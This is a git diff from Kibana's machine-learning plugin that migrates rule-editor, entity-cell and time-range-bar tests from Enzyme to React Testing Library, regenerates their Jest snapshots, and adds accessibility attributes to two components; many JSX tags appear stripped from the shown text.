b/x-pack/platform/plugins/shared/ml/public/application/components/entity_cell/entity_cell.test.tsx @@ -6,7 +6,8 @@ */ import React from 'react'; -import { mountWithIntl } from '@kbn/test-jest-helpers'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; +import { screen } from '@testing-library/react'; import { EntityCell } from './entity_cell'; const defaultProps = { @@ -18,17 +19,33 @@ const defaultProps = { describe('EntityCell', () => { test('Icons are displayed when filter, entityName, and entityValue are defined', () => { - const wrapper = mountWithIntl(); - const icons = wrapper.find('EuiButtonIcon'); + renderWithI18n(); - expect(icons.length).toBe(2); + // Test for the presence of both add and remove filter buttons + const addFilterButton = screen.getByTestId( + `mlAnomaliesTableEntityCellAddFilterButton-${defaultProps.entityValue}` + ); + const removeFilterButton = screen.getByTestId( + `mlAnomaliesTableEntityCellRemoveFilterButton-${defaultProps.entityValue}` + ); + + expect(addFilterButton).toBeInTheDocument(); + expect(removeFilterButton).toBeInTheDocument(); }); test('Icons are not displayed when filter, entityName, or entityValue are undefined', () => { const propsUndefinedFilter = { ...defaultProps, filter: undefined }; - const wrapper = mountWithIntl(); - const icons = wrapper.find('EuiButtonIcon'); + renderWithI18n(); + + // Test that filter buttons are not present + const addFilterButton = screen.queryByTestId( + `mlAnomaliesTableEntityCellAddFilterButton-${defaultProps.entityValue}` + ); + const removeFilterButton = screen.queryByTestId( + `mlAnomaliesTableEntityCellRemoveFilterButton-${defaultProps.entityValue}` + ); - expect(icons.length).toBe(0); + expect(addFilterButton).not.toBeInTheDocument(); + expect(removeFilterButton).not.toBeInTheDocument(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/job_selector/timerange_bar/timerange_bar.test.js b/x-pack/platform/plugins/shared/ml/public/application/components/job_selector/timerange_bar/timerange_bar.test.js index d697c5b7939f4..a81abd5335d53 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/job_selector/timerange_bar/timerange_bar.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/job_selector/timerange_bar/timerange_bar.test.js @@ -5,8 +5,8 @@ * 2.0. */ -import { mount } from 'enzyme'; import React from 'react'; +import { render } from '@testing-library/react'; import { TimeRangeBar } from './timerange_bar'; describe('TimeRangeBar', () => { @@ -17,16 +17,16 @@ describe('TimeRangeBar', () => { }; test('Renders gantt bar when isRunning is false', () => { - const wrapper = mount(); - const ganttBar = wrapper.find('div[data-test-subj="mlJobSelectorGanttBar"]'); + const { getByTestId } = render(); + const ganttBar = getByTestId('mlJobSelectorGanttBar'); - expect(ganttBar).toHaveLength(1); + expect(ganttBar).toBeInTheDocument(); }); test('Renders running animation bar when isRunning is true', () => { - const wrapper = mount(); - const runningBar = wrapper.find('div[data-test-subj="mlJobSelectorGanttBarRunning"]'); + const { getByTestId } = render(); + const runningBar = getByTestId('mlJobSelectorGanttBarRunning'); - expect(runningBar).toHaveLength(1); + expect(runningBar).toBeInTheDocument(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/ml_inference/add_inference_pipeline_flyout.tsx b/x-pack/platform/plugins/shared/ml/public/application/components/ml_inference/add_inference_pipeline_flyout.tsx index 5bd47702ed3f0..63f0bd022ed09 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/ml_inference/add_inference_pipeline_flyout.tsx +++ b/x-pack/platform/plugins/shared/ml/public/application/components/ml_inference/add_inference_pipeline_flyout.tsx @@ -15,6 +15,7 @@ import { EuiFlyoutFooter, EuiSpacer, EuiTitle, + useGeneratedHtmlId, } from '@elastic/eui'; import { i18n } from '@kbn/i18n'; @@ -102,12 +103,18 @@ export const AddInferencePipelineFlyout: FC = ( // eslint-disable-next-line react-hooks/exhaustive-deps [model?.model_id] ); - + const titleId = useGeneratedHtmlId({ prefix: 'mlInferencePipelineFlyoutTitle' }); return ( - + -

    +

    {i18n.translate( 'xpack.ml.trainedModels.content.indices.pipelines.addInferencePipelineModal.title', { diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/ml_saved_objects_spaces_list/ml_saved_objects_spaces_list.tsx b/x-pack/platform/plugins/shared/ml/public/application/components/ml_saved_objects_spaces_list/ml_saved_objects_spaces_list.tsx index 52e38e601cb96..c3ca827610a7c 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/ml_saved_objects_spaces_list/ml_saved_objects_spaces_list.tsx +++ b/x-pack/platform/plugins/shared/ml/public/application/components/ml_saved_objects_spaces_list/ml_saved_objects_spaces_list.tsx @@ -114,6 +114,14 @@ export const MLSavedObjectsSpacesList: FC = ({ onClick={() => setShowFlyout(true)} style={{ height: 'auto' }} data-test-subj="mlJobListRowManageSpacesButton" + aria-label={i18n.translate( + 'xpack.ml.management.jobsSpacesList.manageSpacesButtonAriaLabel', + { + defaultMessage: 'Manage spaces for this {mlSavedObjectType}', + values: { mlSavedObjectType }, + } + )} + tabIndex={spaceIds.length > 0 ? 0 : -1} > diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/actions_section.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/actions_section.test.js.snap index fec3fa9121d13..10a6657c81bb9 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/actions_section.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/actions_section.test.js.snap @@ -1,268 +1,328 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`ActionsSection renders with no actions selected 1`] = ` - - +
    +

    - + Choose the actions to take when the job rule matches an anomaly.

    - - +
    - - - +
    + - } - onChange={[MockFunction]} - /> - - - - } - position="right" - size="s" - /> - - - + +
    +
    +
    + + + Info + + +
    +
    +
    - - - +
    + - } - onChange={[MockFunction]} - /> - - - - } - position="right" - size="s" - /> - - - +
    + +
    +
    +
    + + + Info + + +
    + + `; exports[`ActionsSection renders with skip_result and skip_model_update selected 1`] = ` - - +
    +

    - + Choose the actions to take when the job rule matches an anomaly.

    - - +
    - - - +
    + - } - onChange={[Function]} - /> - - - - } - position="right" - size="s" - /> - - - + +
    +
    +
    + + + Info + + +
    +
    +
    - - - +
    + - } - onChange={[Function]} - /> - - - - } - position="right" - size="s" - /> - - - +
    + +
    +
    +
    + + + Info + + +
    + + `; exports[`ActionsSection renders with skip_result selected 1`] = ` - - +
    +

    - + Choose the actions to take when the job rule matches an anomaly.

    - - +
    - - - +
    + - } - onChange={[MockFunction]} - /> - - - - } - position="right" - size="s" - /> - - - + +
    +
    +
    + + + Info + + +
    +
    +
    - - - +
    + - } - onChange={[MockFunction]} - /> - - - - } - position="right" - size="s" - /> - - - +
    + +
    +
    +
    + + + Info + + +
    + + `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/condition_expression.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/condition_expression.test.js.snap index 8e53daa6cf1f7..4cfaa8e0e9e7a 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/condition_expression.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/condition_expression.test.js.snap @@ -1,369 +1,138 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`ConditionExpression renders with appliesTo, operator and value supplied 1`] = ` - - - - } - isActive={false} - onClick={[Function]} - value="diff from typical" - /> - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} +
    -
    - - - -
    + - -
    -
    - - - + + + diff from typical + + +
    + +
    - - } - isActive={false} - onClick={[Function]} - value="123" - /> - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} +
    -
    - - - -
    + + is greater than + + + - - - - - - - - -
    -
    - - - + +
    +
    +
    - - - + class="euiButtonIcon emotion-euiButtonIcon-s-empty-danger" + type="button" + > +
    + `; exports[`ConditionExpression renders with only value supplied 1`] = ` - - - - } - isActive={false} - onClick={[Function]} - value="" - /> - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} +
    -
    - - - -
    + - -
    -
    - - - + + +
    + +
    - - } - isActive={false} - onClick={[Function]} - value="123" - /> - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} +
    -
    - - - -
    + - - - - - - - - -
    -
    - - - + + + 123 + + +
    +
    +
    - - - + class="euiButtonIcon emotion-euiButtonIcon-s-empty-danger" + type="button" + > +
    + `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/conditions_section.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/conditions_section.test.js.snap index 2a468884ee029..efdd3d56203f1 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/conditions_section.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/conditions_section.test.js.snap @@ -1,96 +1,297 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP -exports[`ConditionsSectionExpression don't render when not enabled with conditions 1`] = `""`; +exports[`ConditionsSectionExpression don't render when not enabled with conditions 1`] = `
    `; -exports[`ConditionsSectionExpression don't render when the section is not enabled 1`] = `""`; +exports[`ConditionsSectionExpression don't render when the section is not enabled 1`] = `
    `; exports[`ConditionsSectionExpression renders when enabled with empty conditions supplied 1`] = ` - - +
    - - - - + + + Add new condition + + + +
    `; exports[`ConditionsSectionExpression renders when enabled with no conditions supplied 1`] = ` - - +
    - - - - + + + Add new condition + + + +
    `; exports[`ConditionsSectionExpression renders when enabled with one condition 1`] = ` - - - +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    - - - - + + + Add new condition + + + +
    `; exports[`ConditionsSectionExpression renders when enabled with two conditions 1`] = ` - - - - +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    - - - - + + + Add new condition + + + +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/rule_editor_flyout.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/rule_editor_flyout.test.js.snap index a4a648d02e1ab..a34841fd4f18b 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/rule_editor_flyout.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/rule_editor_flyout.test.js.snap @@ -1,810 +1,3 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP -exports[`RuleEditorFlyout don't render after closing the flyout 1`] = `""`; - -exports[`RuleEditorFlyout don't render when not opened 1`] = `""`; - -exports[`RuleEditorFlyout renders the flyout after adding a condition to a rule 1`] = ` - - - - -

    - -

    -
    -
    - - - - -

    - - - , - } - } - /> -

    -
    - - -

    - -

    -
    - - - -

    - -

    -
    - - - - - - - - } - > -

    - -

    -

    - -

    -
    -
    - - - - - - - - - - - - - - -
    -
    -`; - -exports[`RuleEditorFlyout renders the flyout after setting the rule to edit 1`] = ` - - - - -

    - -

    -
    -
    - - - - -

    - - - , - } - } - /> -

    -
    - - -

    - -

    -
    - - - -

    - -

    -
    - - - - - - - - } - > -

    - -

    -

    - -

    -
    -
    - - - - - - - - - - - - - - -
    -
    -`; - -exports[`RuleEditorFlyout renders the flyout for creating a rule with conditions only 1`] = ` - - - - -

    - -

    -
    -
    - - - - -

    - - - , - } - } - /> -

    -
    - - -

    - -

    -
    - - - -

    - -

    -
    - - - - - - - - } - > -

    - -

    -

    - -

    -
    -
    - - - - - - - - - - - - - - -
    -
    -`; - -exports[`RuleEditorFlyout renders the select action component for a detector with a rule 1`] = ` - - - - -

    - -

    -
    -
    - - - - - - - - - - - - -
    -
    -`; +exports[`RuleEditorFlyout don't render when not opened 1`] = `null`; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/scope_expression.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/scope_expression.test.js.snap index 1a4de7cdcaafc..69fae39bcfeca 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/scope_expression.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/scope_expression.test.js.snap @@ -1,455 +1,259 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`ScopeExpression renders when empty list of filter IDs is supplied 1`] = ` - - - - - - +
    + - } - isActive={false} - onClick={[Function]} - value="domain" - /> - - + +
    +
    +
    +
    + +
    + `; exports[`ScopeExpression renders when enabled set to false 1`] = ` - - - - - - +
    + - } - isActive={false} - onClick={[Function]} - value="domain" - /> - - - - } - isActive={false} - onClick={[Function]} - value="safe_domains" + - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} +
    + + +
    + +
    +
    +
    -
    - - - -
    + - - - - - - - - -
    -
    - - - + is in + + + + safe_domains + + +
    +
    + `; exports[`ScopeExpression renders when filter ID and type supplied 1`] = ` - - - - - - +
    + - } - isActive={false} - onClick={[Function]} - value="domain" - /> - - - - } - isActive={false} - onClick={[Function]} - value="safe_domains" + - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} +
    + + +
    + +
    +
    +
    -
    - - - -
    + - - - - - - - - -
    -
    - - - + is in + + + + safe_domains + + +
    +
    + `; exports[`ScopeExpression renders when no filter ID or type supplied 1`] = ` - - - - - - +
    + - } - isActive={false} - onClick={[Function]} - value="domain" - /> - - - - } - isActive={false} - onClick={[Function]} - value="" + - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} +
    + + +
    + +
    +
    +
    -
    - - - -
    + - - - - - - - - -
    -
    - - - + is + + + +
    +
    + `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/scope_section.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/scope_section.test.js.snap index 110530cd03e97..a88924a2f12c3 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/scope_section.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/__snapshots__/scope_section.test.js.snap @@ -1,200 +1,401 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP -exports[`ScopeSection don't render when no partitioning fields 1`] = `""`; +exports[`ScopeSection don't render when no partitioning fields 1`] = `
    `; exports[`ScopeSection false canGetFilters privilege show NoPermissionCallOut when no filter list IDs 1`] = ` - - -

    - -

    -
    - +

    + Scope +

    +
    - +
    + - } - onChange={[MockFunction]} - /> - +
    + +
    +
    - - +

    +

    +
    +
    - +
    `; exports[`ScopeSection renders when enabled with no scope supplied 1`] = ` - - -

    - -

    -
    - +

    + Scope +

    +
    - +
    + - } - onChange={[MockFunction]} - /> - - +
    + +
    +
    - +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    - +
    `; exports[`ScopeSection renders when enabled with scope supplied 1`] = ` - - -

    - -

    -
    - +

    + Scope +

    +
    - +
    + - } - onChange={[MockFunction]} - /> - - +
    + +
    +
    - +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    - +
    `; exports[`ScopeSection renders when not enabled 1`] = ` - - -

    - -

    -
    - +

    + Scope +

    +
    - +
    + - } - onChange={[MockFunction]} - /> - +
    + +
    +
    - - +
    `; exports[`ScopeSection show NoFilterListsCallOut when no filter list IDs 1`] = ` - - -

    - -

    -
    - +

    + Scope +

    +
    - +
    + - } - onChange={[MockFunction]} - /> - +
    + +
    +
    - - +

    +

    +
    +
    +

    + To configure scope, you must first use the  + + settings page to create the list of values you want to include or exclude in the job rule. +

    +
    +
    +
    - +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/actions_section.test.js b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/actions_section.test.js index b99a0066600f6..b5c005d7abd17 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/actions_section.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/actions_section.test.js @@ -6,15 +6,14 @@ */ import React from 'react'; - -import { shallowWithIntl } from '@kbn/test-jest-helpers'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import { ML_DETECTOR_RULE_ACTION } from '@kbn/ml-anomaly-utils'; import { ActionsSection } from './actions_section'; describe('ActionsSection', () => { - const onSkipResultChange = jest.fn(() => {}); - const onSkipModelUpdateChange = jest.fn(() => {}); + const onSkipResultChange = jest.fn(); + const onSkipModelUpdateChange = jest.fn(); const requiredProps = { onSkipResultChange, @@ -27,9 +26,9 @@ describe('ActionsSection', () => { actions: [], }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('renders with skip_result selected', () => { @@ -38,13 +37,13 @@ describe('ActionsSection', () => { actions: [ML_DETECTOR_RULE_ACTION.SKIP_RESULT], }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('renders with skip_result and skip_model_update selected', () => { - const component = shallowWithIntl( + const { container } = renderWithI18n( {}} @@ -52,6 +51,6 @@ describe('ActionsSection', () => { /> ); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/components/detector_description_list/__snapshots__/detector_description_list.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/components/detector_description_list/__snapshots__/detector_description_list.test.js.snap index e115a3a9b28b4..3af1b43dd7aba 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/components/detector_description_list/__snapshots__/detector_description_list.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/components/detector_description_list/__snapshots__/detector_description_list.test.js.snap @@ -1,117 +1,80 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`DetectorDescriptionList render for detector with anomaly values 1`] = ` -, - }, - Object { - "description": "mean response time", - "title": , - }, - Object { - "description": , - "typical": , - } - } - />, - "title": , - }, - ] - } - type="column" -/> +
    +
    + Job ID +
    +
    + responsetimes +
    +
    + Detector +
    +
    + mean response time +
    +
    + Selected anomaly +
    +
    + actual + + 50 + + , typical + + 1.23 + +
    +
    `; exports[`DetectorDescriptionList render for population detector with no anomaly values 1`] = ` -, - }, - Object { - "description": "count by status over clientip", - "title": , - }, - ] - } - type="column" -/> +
    +
    + Job ID +
    +
    + population +
    +
    + Detector +
    +
    + count by status over clientip +
    +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/components/detector_description_list/detector_description_list.test.js b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/components/detector_description_list/detector_description_list.test.js index 1c979525ca9eb..0c4cff19292a0 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/components/detector_description_list/detector_description_list.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/components/detector_description_list/detector_description_list.test.js @@ -5,8 +5,20 @@ * 2.0. */ -import { shallowWithIntl } from '@kbn/test-jest-helpers'; +jest.mock('../../../anomalies_table/anomaly_value_display', () => ({ + AnomalyValueDisplay: jest.fn().mockImplementation(({ value }) => { + const React = jest.requireActual('react'); + const displayValue = Array.isArray(value) ? value[0] : value; + return React.createElement( + 'span', + { 'data-test-subj': 'mockAnomalyValueDisplay' }, + `${displayValue}` + ); + }), +})); + import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import { DetectorDescriptionList } from './detector_description_list'; @@ -26,9 +38,9 @@ describe('DetectorDescriptionList', () => { }, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); test('render for population detector with no anomaly values', () => { @@ -54,8 +66,8 @@ describe('DetectorDescriptionList', () => { }, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/condition_expression.js b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/condition_expression.js index 3857a97c3c9e7..578e2db19534f 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/condition_expression.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/condition_expression.js @@ -228,7 +228,6 @@ export class ConditionExpression extends Component { closePopover={this.closeOperatorValue} panelPaddingSize="s" ownFocus - withTitle anchorPosition="downLeft" > {this.renderOperatorValuePopover()} diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/condition_expression.test.js b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/condition_expression.test.js index a0f9eedddf5d6..21712b7690cce 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/condition_expression.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/condition_expression.test.js @@ -8,16 +8,16 @@ // Mock the mlJobService that is imported for saving rules. jest.mock('../../services/job_service', () => 'mlJobService'); -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import { ML_DETECTOR_RULE_APPLIES_TO, ML_DETECTOR_RULE_OPERATOR } from '@kbn/ml-anomaly-utils'; import { ConditionExpression } from './condition_expression'; describe('ConditionExpression', () => { - const updateCondition = jest.fn(() => {}); - const deleteCondition = jest.fn(() => {}); + const updateCondition = jest.fn(); + const deleteCondition = jest.fn(); const requiredProps = { index: 0, @@ -31,9 +31,9 @@ describe('ConditionExpression', () => { value: 123, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); test('renders with appliesTo, operator and value supplied', () => { @@ -44,8 +44,8 @@ describe('ConditionExpression', () => { value: 123, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/conditions_section.test.js b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/conditions_section.test.js index 01cf0a035e9d3..7c5cfeeb18475 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/conditions_section.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/conditions_section.test.js @@ -8,8 +8,8 @@ // Mock the mlJobService that is imported for saving rules. jest.mock('../../services/job_service', () => 'mlJobService'); -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import { ML_DETECTOR_RULE_APPLIES_TO, ML_DETECTOR_RULE_OPERATOR } from '@kbn/ml-anomaly-utils'; @@ -17,9 +17,9 @@ import { ConditionsSection } from './conditions_section'; import { getNewConditionDefaults } from './utils'; describe('ConditionsSectionExpression', () => { - const addCondition = jest.fn(() => {}); - const updateCondition = jest.fn(() => {}); - const deleteCondition = jest.fn(() => {}); + const addCondition = jest.fn(); + const updateCondition = jest.fn(); + const deleteCondition = jest.fn(); const testCondition = { applies_to: ML_DETECTOR_RULE_APPLIES_TO.TYPICAL, @@ -39,9 +39,9 @@ describe('ConditionsSectionExpression', () => { isEnabled: false, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('renders when enabled with no conditions supplied', () => { @@ -50,9 +50,9 @@ describe('ConditionsSectionExpression', () => { isEnabled: true, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('renders when enabled with empty conditions supplied', () => { @@ -62,9 +62,9 @@ describe('ConditionsSectionExpression', () => { conditions: [], }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('renders when enabled with one condition', () => { @@ -74,9 +74,9 @@ describe('ConditionsSectionExpression', () => { conditions: [getNewConditionDefaults()], }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('renders when enabled with two conditions', () => { @@ -86,9 +86,9 @@ describe('ConditionsSectionExpression', () => { conditions: [getNewConditionDefaults(), testCondition], }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test(`don't render when not enabled with conditions`, () => { @@ -98,8 +98,8 @@ describe('ConditionsSectionExpression', () => { conditions: [getNewConditionDefaults(), testCondition], }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/rule_editor_flyout.test.js b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/rule_editor_flyout.test.js index a711774b0a21d..18ceabec0eb65 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/rule_editor_flyout.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/rule_editor_flyout.test.js @@ -55,34 +55,27 @@ jest.mock('@kbn/kibana-react-plugin/public', () => ({ }, })); -import { shallowWithIntl } from '@kbn/test-jest-helpers'; +jest.mock('./select_rule_action', () => ({ + SelectRuleAction: jest.fn().mockImplementation(({ job, anomaly }) => { + const React = jest.requireActual('react'); + return React.createElement( + 'div', + { 'data-testid': 'mock-select-rule-action' }, + `Mock SelectRuleAction for job ${job?.job_id} and detector ${anomaly?.detectorIndex}` + ); + }), +})); + import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import { RuleEditorFlyout } from './rule_editor_flyout'; -const NO_RULE_ANOMALY = { - jobId: 'farequote_no_by', - detectorIndex: 0, - source: { - function: 'mean', - }, -}; - -const RULE_ANOMALY = { - jobId: 'farequote_no_by', - detectorIndex: 1, - source: { - function: 'max', - }, -}; - -function prepareTest() { - const setShowFunction = jest.fn(() => {}); - const unsetShowFunction = jest.fn(() => {}); - - const requiredProps = { - setShowFunction, - unsetShowFunction, +describe('RuleEditorFlyout', () => { + // Common props used across all tests + const getRequiredProps = () => ({ + setShowFunction: jest.fn(), + unsetShowFunction: jest.fn(), kibana: { services: { docLinks: { @@ -95,66 +88,15 @@ function prepareTest() { mlServices: { mlApi: {} }, notifications: { toasts: { - addDanger: () => {}, + addDanger: jest.fn(), }, }, }, }, - }; - - const component = ; - - const wrapper = shallowWithIntl(component); - - return { wrapper }; -} - -describe('RuleEditorFlyout', () => { - test(`don't render when not opened`, () => { - const test1 = prepareTest(); - expect(test1.wrapper).toMatchSnapshot(); - }); - - test('renders the flyout for creating a rule with conditions only', () => { - const test2 = prepareTest(); - test2.wrapper.instance().showFlyout(NO_RULE_ANOMALY); - test2.wrapper.update(); - expect(test2.wrapper).toMatchSnapshot(); - }); - - test('renders the flyout after adding a condition to a rule', () => { - const test3 = prepareTest(); - const instance = test3.wrapper.instance(); - instance.showFlyout(NO_RULE_ANOMALY); - instance.addCondition(); - test3.wrapper.update(); - expect(test3.wrapper).toMatchSnapshot(); - }); - - test('renders the select action component for a detector with a rule', () => { - const test4 = prepareTest(); - const instance = test4.wrapper.instance(); - instance.showFlyout(RULE_ANOMALY); - test4.wrapper.update(); - expect(test4.wrapper).toMatchSnapshot(); }); - test('renders the flyout after setting the rule to edit', () => { - const test5 = prepareTest(); - const instance = test5.wrapper.instance(); - instance.showFlyout(RULE_ANOMALY); - instance.setEditRuleIndex(0); - test5.wrapper.update(); - expect(test5.wrapper).toMatchSnapshot(); - }); - - test(`don't render after closing the flyout`, () => { - const test6 = prepareTest(); - const instance = test6.wrapper.instance(); - instance.showFlyout(RULE_ANOMALY); - instance.setEditRuleIndex(0); - instance.closeFlyout(); - test6.wrapper.update(); - expect(test6.wrapper).toMatchSnapshot(); + test(`don't render when not opened`, () => { + const { container } = renderWithI18n(); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/scope_expression.test.js b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/scope_expression.test.js index 99212675829bb..f5eea814d48fb 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/scope_expression.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/scope_expression.test.js @@ -9,15 +9,14 @@ jest.mock('../../services/job_service', () => 'mlJobService'); import React from 'react'; - -import { shallowWithIntl } from '@kbn/test-jest-helpers'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import { ML_DETECTOR_RULE_FILTER_TYPE } from '@kbn/ml-anomaly-utils'; import { ScopeExpression } from './scope_expression'; describe('ScopeExpression', () => { const testFilterListIds = ['web_domains', 'safe_domains', 'uk_domains']; - const updateScope = jest.fn(() => {}); + const updateScope = jest.fn(); const requiredProps = { fieldName: 'domain', @@ -31,9 +30,9 @@ describe('ScopeExpression', () => { enabled: true, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); test('renders when empty list of filter IDs is supplied', () => { @@ -43,9 +42,9 @@ describe('ScopeExpression', () => { enabled: true, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); test('renders when filter ID and type supplied', () => { @@ -57,9 +56,9 @@ describe('ScopeExpression', () => { enabled: true, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + 